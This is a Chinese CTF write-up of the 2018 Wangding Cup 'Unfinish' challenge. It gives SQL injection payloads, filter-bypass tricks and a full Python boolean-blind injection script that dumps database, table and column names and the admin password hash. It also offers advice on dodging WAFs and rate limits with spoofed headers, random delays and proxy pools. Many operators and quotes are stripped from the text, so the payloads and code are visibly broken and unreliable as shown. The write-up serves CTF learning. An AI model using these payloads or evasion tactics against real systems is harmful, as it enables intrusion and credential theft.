1. 项目概述一次从手工到自动化的CTF实战复盘最近在复盘一些经典的CTF题目特别是Web安全方向的发现“网鼎杯2018”的这道Unfinish题目非常有意思。它不仅仅是一个简单的SQL注入点更像是一个完整的实战场景缩影你需要先手工探测出漏洞分析出过滤规则然后因为交互过程复杂不得不转向编写自动化脚本去高效利用。这个过程恰好是很多真实渗透测试或安全研究工作的缩影——从信息收集、漏洞发现、手动验证到最终编写PoC或利用工具实现稳定攻击。很多新手在打靶场时往往停留在手工注入成功就满足了但这道题逼着你往前走一步去思考如何将手工过程标准化、自动化这对于提升实战能力至关重要。这道题的核心场景是一个典型的登录/注册页面存在SQL注入漏洞。但它的“狡猾”之处在于对输入进行了严格的过滤并且返回的信息有限使得传统的手工联合查询Union Select变得困难。解题的关键路径是首先通过报错信息或布尔盲注的方式确认注入点类型和过滤规则然后由于需要逐位爆破数据库名、表名、字段名和数据手工操作极其繁琐必须编写Python脚本来自动化完成布尔盲注的过程最后通过脚本获取到管理员密码通常是MD5哈希解密后登录获取flag。整个流程涵盖了SQL注入的多种技巧报错注入、布尔盲注、绕过过滤的方法以及Python网络请求与逻辑处理是一个综合性很强的学习案例。2. 漏洞环境与核心思路解析2.1 题目场景与初步探测通常这类题目会提供一个Web界面包含登录Login和注册Register两个功能。我们的突破口往往在注册功能上。尝试注册一个用户比如用户名为test密码随意。注册成功后系统可能会提示“用户名已存在”或直接注册成功。这时一个关键的思路是在注册时应用可能会先去数据库查询用户名是否已存在。这个查询语句就是潜在的注入点。假设后端的SQL查询语句是这样的SELECT * FROM users WHERE username ‘$username‘当我们注册时传入的$username变量如果没有被妥善处理就可能被我们控制。经典的测试payload是输入一个单引号‘。如果页面返回了数据库报错信息如You have an error in your SQL syntax那么基本可以确定存在SQL注入漏洞。这就是基于报错的SQL注入的初步探测。在Unfinish这道题中经过测试你会发现输入单引号会导致报错但输入and 11或or 11这类常见的布尔测试语句时页面却无变化甚至可能返回统一的错误页面。这说明题目对输入进行了过滤很可能过滤或转义了and、or、空格、union、select等关键词。这时我们的思路就需要从显错的联合查询转向基于布尔逻辑的真假判断也就是布尔盲注。2.2 布尔盲注原理与过滤绕过布尔盲注Boolean-based Blind SQL Injection适用于页面没有明确数据回显但会根据SQL查询语句执行的真假返回不同页面比如注册成功或用户名已存在的场景。其核心原理是通过构造SQL语句使其变成一个条件判断。如果条件为真页面返回状态A如果条件为假页面返回状态B。通过观察页面差异我们就能推断出数据库中的信息。例如我们可以构造这样的Payload来测试数据库名的第一个字符‘ or (ascii(substr(database(),1,1))100) #这个语句的意思是如果当前数据库名的第一个字符的ASCII码大于100那么整个or条件为真原查询语句可能因为or真而返回结果导致页面呈现“用户名已存在”的状态反之则可能注册成功或返回其他状态。通过不断调整比较的数值比如用二分法128? 64? ...我们就能确定这个字符的准确ASCII码从而得知字符本身。但是题目有过滤。常见的绕过技巧包括大小写绕过SeLeCt代替select。双写绕过selselectect如果过滤函数是简单替换为空则中间的select被移除后剩下的字符又组成了select。等价替换用like代替用mid()或substring()代替substr()。编码绕过使用URL编码、十六进制编码等。注释符使用#、--注意有个空格来注释掉后续的SQL代码避免语法错误。空格绕过使用/**/、、%0a换行符、%0d回车符或%09制表符代替空格。在MySQL中括号()有时也能起到分隔作用。在实战解这道题时需要耐心地使用这些技巧进行fuzz模糊测试找出未被过滤的字符组合。例如可能发现/**/可以代替空格||在特定数据库如SQLite中可以代替or或者^异或运算可以用来构造布尔条件。注意不同的数据库MySQL、SQLite、PostgreSQL的语法和函数略有不同。通过报错信息或一些特性测试如version()、sqlite_version()可以判断数据库类型这对后续构造Payload至关重要。网鼎杯这道题通常基于MySQL或SQLite。3. 手工验证与自动化脚本设计3.1 手工验证注入点与确定过滤规则在编写自动化脚本之前必须用手工方式彻底摸清漏洞的“脾气”。这个过程是后续自动化的基础。首先使用Burp Suite的Repeater模块或浏览器插件如HackBar会非常方便。在注册用户名处尝试以下Payload序列基础探测admin‘- 观察是否报错。admin‘ and ‘1‘‘1- 观察与admin‘ and ‘1‘‘2的页面响应是否有差异。如果没差异可能and被过滤。admin‘ or ‘1‘‘1- 观察与admin‘ or ‘1‘‘2的差异。如果没差异可能or被过滤。绕过空格尝试admin‘/**/or/**/‘1‘‘1。如果页面出现差异说明/**/可用作空格。测试布尔条件假设/**/可用构造test‘/**/or/**/(11)/**/#。如果返回“用户名已存在”而test‘/**/or/**/(12)/**/#返回注册成功那么布尔盲注的条件就成立了。这里的#用于注释掉后续SQL如密码字段避免语法错误。测试信息获取函数确认布尔逻辑可行后测试数据库函数是否被过滤。尝试test‘/**/or/**/(ascii(substr(database(),1,1))0)/**/#。观察页面是否符合“字符ASCII码0为真”的预期。通过一系列这样的测试你可以最终确定一个可用的Payload模板。例如最终发现的有效Payload结构可能是[待测用户名]‘/**/or/**/([布尔条件])/**/#其中[布尔条件]就是我们要用来逐位爆破信息的核心。3.2 自动化脚本的核心架构设计手工一位一位去猜字符是不现实的。自动化脚本的核心任务就是根据我们确定的Payload模板系统地、快速地遍历所有可能性通过HTTP请求的响应内容来判断布尔条件的真假从而拼接出我们想要的数据库名、表名、字段值等。一个健壮的自动化脚本通常包含以下模块请求引擎负责发送HTTP请求通常是POST请求到注册接口并获取响应。推荐使用requests库它比urllib更简洁高效。需要处理好Cookies和Session因为有些题目需要维持会话状态。响应分析器这是脚本的“眼睛”。它需要能够从服务器的响应HTML中准确判断当前请求对应的布尔条件是“真”还是“假”。判断依据必须非常明确和稳定。例如真True响应中包含“username already exists”或“用户已存在”。假False响应中包含“registration successful”或跳转到登录页面。绝对要避免使用模糊匹配如“exists”这个词可能在错误信息里也出现。最好能定位到页面中独一无二的标志性字符串或标签。有时需要查看页面源码而不仅仅是渲染后的文本。Payload生成器根据要爆破的目标如database()select table_name from information_schema.tables以及当前爆破的位置第几位字符动态生成SQL注入Payload。这里要复用我们手工验证成功的那个模板结构。字符爆破逻辑这是脚本的“大脑”。通常采用二分查找算法来高效确定一个字符的ASCII码值。对于一个字节ASCII 0-127或扩展ASCII 0-255二分法最多只需要7-8次请求就能确定远比遍历256次快得多。算法流程设置低位low0高位high127或255。当low high时计算中间值mid (lowhigh)//2。构造Payloadascii(substr((目标查询语句),当前位置,1)) mid。发送请求分析响应。如果条件为真字符ASCII码 mid则low mid 1。如果条件为假字符ASCII码 mid则high mid - 1。循环结束后low的值就是字符的ASCII码。将其转换为字符chr(low)追加到结果中。流程控制器控制整个爆破流程例如先爆破当前数据库名然后爆破所有表名再选择目标表如admin、users爆破其字段名最后爆破字段里的数据如password。每一步的结果都作为下一步查询的输入。4. 完整Python自动化脚本实现与详解下面我将结合题目常见的环境假设为MySQL过滤了空格和or但/**/和||可用给出一个详细的脚本实现并逐段解释。这个脚本可以直接作为解题的蓝本你只需要根据实际题目的响应特征微调check_result函数即可。import requests import time class BooleanBasedSQLi: def __init__(self, target_url): self.url target_url # 注册接口的URL self.session requests.Session() # 使用Session保持连接 # 根据实际题目修改真的标志和假的标志 self.true_indicator username already exists # 布尔为真时页面包含的文本 self.false_indicator registration successful # 布尔为假时页面包含的文本 # 请求头有些题目可能需要特定的Content-Type self.headers { ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, ‘User-Agent‘: ‘Mozilla/5.0 (CTF Script)‘ } def check_result(self, response_text): 核心分析响应判断布尔条件真假。 这是最需要根据题目实际情况调整的函数。 # 情况1真条件返回‘用户名已存在‘假条件返回‘注册成功‘ if self.true_indicator in response_text: return True elif self.false_indicator in response_text: return False else: # 如果响应不符合预期抛出异常避免错误判断 raise Exception(f无法判断响应结果。响应片段{response_text[:200]}) def inject_payload(self, sql_payload): 发送一次注入请求并返回布尔判断结果。 # 构造POST数据。假设用户名字段叫‘username‘密码字段随便填。 # 将我们的Payload放在用户名里。 data { ‘username‘: sql_payload, ‘password‘: ‘randompass123‘ # 密码可以是任意值 } try: # 发送POST请求 resp self.session.post(self.url, datadata, headersself.headers, timeout5) # 调用判断函数 return self.check_result(resp.text) except requests.exceptions.RequestException as e: print(f请求失败: {e}) return False def get_char_at_position(self, query, position): 使用二分法获取查询结果中指定位置的字符。 :param query: 要执行的SQL查询语句例如database() :param position: 字符位置从1开始 :return: 该位置的字符 low, high 32, 126 # 可打印字符的ASCII范围空格到波浪线 # 有时需要包含更广的范围如128-255视情况调整 result None while low high: mid (low high) // 2 # 构造布尔盲注Payload # 注意这里使用了/**/代替空格||代替or。这是根据题目过滤规则调整的。 # 模板‘ or (条件) # # 绕过后 ‘/**/||/**/(条件)/**/# test_payload ftest‘/**/||/**/(ascii(substr(({query}),{position},1)){mid})/**/# # print(f测试: {test_payload}) # 调试时可打开 if self.inject_payload(test_payload): # 条件为真说明字符ASCII码 mid low mid 1 else: # 条件为假说明字符ASCII码 mid high mid - 1 # 循环结束low即为字符的ASCII码 if low 32 and low 126: return chr(low) else: return ‘?‘ # 超出可打印范围 def get_string(self, query): 获取整个查询结果的字符串通过逐位爆破直到遇到非可打印字符或长度超限。 result for i in range(1, 100): # 假设结果不会超过100个字符 char self.get_char_at_position(query, i) if char ‘?‘ or not char.isprintable(): # 遇到不可打印字符或结束标志停止 break result char print(f当前结果: {result}) # 可以加一个延迟避免请求过快被屏蔽 # time.sleep(0.05) return result # 主程序解题步骤 if __name__ ‘__main__‘: # 替换成题目的实际注册接口URL target_url http://靶机地址/register.php sqli BooleanBasedSQLi(target_url) print([*] 开始爆破当前数据库名...) db_name sqli.get_string(database()) print(f[] 当前数据库名: {db_name}) # 假设数据库名为 ‘web‘接下来爆破表名 # MySQL information_schema.tables 存储表信息 print([*] 开始爆破表名...) # 这里查询第一个表名。要获取所有需要循环或修改查询。 table_query select table_name from information_schema.tables where table_schemadatabase() limit 0,1 table_name sqli.get_string(table_query) print(f[] 第一个表名: {table_name}) # 假设我们关心的表叫 ‘users‘接下来爆破字段名 print([*] 开始爆破users表的字段名...) column_query select column_name from information_schema.columns where table_name‘users‘ and table_schemadatabase() limit 0,1 column_name sqli.get_string(column_query) print(f[] 第一个字段名: {column_name}) # 假设字段有 ‘username‘, ‘password‘ 爆破密码 print([*] 开始爆破admin用户的密码...) password_query select password from users where username‘admin‘ admin_password_hash sqli.get_string(password_query) print(f[] admin密码哈希: {admin_password_hash}) print([*] 爆破完成。请使用CMD5等网站解密哈希。)4.1 脚本关键点解析与避坑指南check_result函数是灵魂这个函数必须100%准确。在实战中不要只看页面显示的文本最好用print(resp.text)把整个响应HTML打印出来仔细寻找那个唯一、稳定的真/假标志。可能是某个特定的div标签的id、class或者是一句完整的提示语。如果判断逻辑写错了整个爆破结果都是错的。Payload构造的细节test‘这里的test是一个无关的用户名目的是让原查询SELECT * FROM users WHERE username ‘test‘先执行。然后我们通过||或连接我们的布尔条件。因为||的优先级整个语句变成WHERE username‘test‘ OR (条件)。只要我们的条件为真整个WHERE子句就为真查询就会返回结果即使test用户不存在导致“用户名已存在”。/**/这是MySQL中内联注释的语法但它里面的内容会被忽略因此常被用作空格替代符。比用或%20更稳定。#注释掉SQL语句的剩余部分非常重要否则后面的‘password‘‘xxx‘会破坏语法。二分法的边界low32, high126是针对可打印字符。如果数据中包含中文或特殊符号需要扩大范围如high255。但要注意扩大范围会增加请求次数。可以先用小范围试如果返回?再调整。速率限制与错误处理脚本中我注释了time.sleep。在实际攻击中不加延迟可能会触发目标的WAF或速率限制导致IP被封。建议加上一个合理的延迟如0.1-0.5秒。同时try-except块保证了网络波动时脚本不会直接崩溃。获取多条数据上面的例子只取了limit 0,1第一条。要获取所有表名你需要写一个循环修改limit 1,1、limit 2,1... 或者更高效地在查询语句中使用group_concat(table_name)一次性获取所有表名并用分隔符连接但要注意长度限制和过滤。5. 实战进阶处理复杂过滤与优化脚本5.1 应对更严格的过滤如果题目过滤了substr、ascii、这些关键词怎么办这就需要我们寻找替代方案。substr被过滤可以使用mid()或substring()函数。例如mid(database(),1,1)。ascii被过滤可以使用ord()函数功能相同。被过滤可以使用和逻辑非!来组合实现。a b等价于!(a b)。但这样会使Payload变复杂。更巧妙的是使用位运算或正则表达式。使用like和通配符‘ or substr(database(),1,1) like ‘a‘ #。这需要遍历所有字符效率低但能绕过对比较符的过滤。使用regexp或rlike‘ or substr(database(),1,1) regexp ‘^[a-z]‘ #。可以配合二进制搜索来缩小范围。or和and都被过滤可以尝试||和。如果也被过滤可以使用异或注入^。原理是‘ ^ (条件) ^ ‘1‘‘1。当条件为真1时整个表达式的结果取决于其他部分可能造成不同的页面响应。这需要更精细的测试。5.2 脚本优化与功能扩展多线程爆破当需要爆破的数据量很大时比如一个长字符串逐位爆破是串行的很慢。可以对每一位字符的二分查找过程进行多线程处理大幅提升速度。但要注意目标服务器的承受能力和可能存在的请求顺序依赖。结果缓存与断点续传将已爆破出的结果如已知的数据库名、表名保存到本地文件。如果脚本中途中断可以从断点处继续避免重复劳动。更智能的响应分析除了字符串匹配还可以结合响应状态码、响应头长度、响应时间时间盲注等进行综合判断。有时真假的区别可能只是响应体长度相差几个字节。封装为通用工具将核心的布尔盲注引擎抽象出来通过配置文件或命令行参数指定目标URL、请求方法、参数、真/假标志、Payload模板等使其能快速适配不同的CTF题目或真实世界的简单测试场景。6. 常见问题排查与解决实录在编写和运行这类自动化脚本时你肯定会遇到各种问题。下面是我踩过的一些坑和解决方案问题脚本一直返回同一个结果全是真或全是假。排查首先检查check_result函数。打印出几次典型请求你认为应该是真和假的的响应内容仔细对比差异。很可能你选取的标志字符串不唯一。其次检查Payload是否被正确构造。打印出实际发送的test_payload看看是否包含了奇怪的换行或编码问题。最后用Burp Suite拦截脚本发送的请求手动重放一下看看响应是否和脚本接收到的一致。问题爆破出的字符乱码或明显不对。排查二分法的边界(low, high)可能设错了。如果数据中包含数字其ASCII码在48-57大写字母65-90小写字母97-122。如果爆破出奇怪符号检查是否因为条件判断反了真/假逻辑弄反。最直接的验证方法手动构造一个已知条件的Payload比如ascii(substr(‘abc‘,1,1))90应为假用脚本跑一下看check_result是否正确。问题请求被目标服务器屏蔽或返回429 Too Many Requests。解决立即在请求中加入延迟time.sleep()。可以设置为随机延迟如time.sleep(random.uniform(0.5, 1.5))这样更模拟人工操作。此外检查请求头添加Referer、X-Forwarded-For等可能有助于绕过简单的防护。如果条件允许使用代理池。问题Session失效需要重新登录或验证码。解决有些题目在注册前可能需要先访问一个首页获取初始Cookie或CSRF Token。你需要用脚本先进行一次GET请求从响应中解析出Token并加入到后续POST请求的数据或头中。对于验证码如果很简单如4位数字可以考虑OCR识别如果复杂这道题可能就不是单纯考察自动化注入了。问题information_schema数据库被过滤或无法访问。解决这在一些CTF题或老旧系统中会出现。MySQL 5.7有sys库但更通用的方法是暴力猜解。通过布尔盲注猜测常见的表名如admin,user,users,t_admin,t_user和字段名username,password,passwd,pwd。可以准备一个字典用脚本遍历猜测。Payload如‘ or exists(select 1 from 猜的表名) #。这道“Unfinish”题目就像它的名字一样手工注入只是开始真正的完成在于将思考过程转化为自动化工具。这个过程锻炼的不仅仅是SQL注入的技巧更是将复杂、重复的手工测试流程抽象成代码逻辑的能力。在真实的安全工作中这种能力至关重要。下次遇到类似的盲注场景不妨先静下心来用手工摸清规则然后打开你的代码编辑器开始构建属于你自己的“自动化武器库”。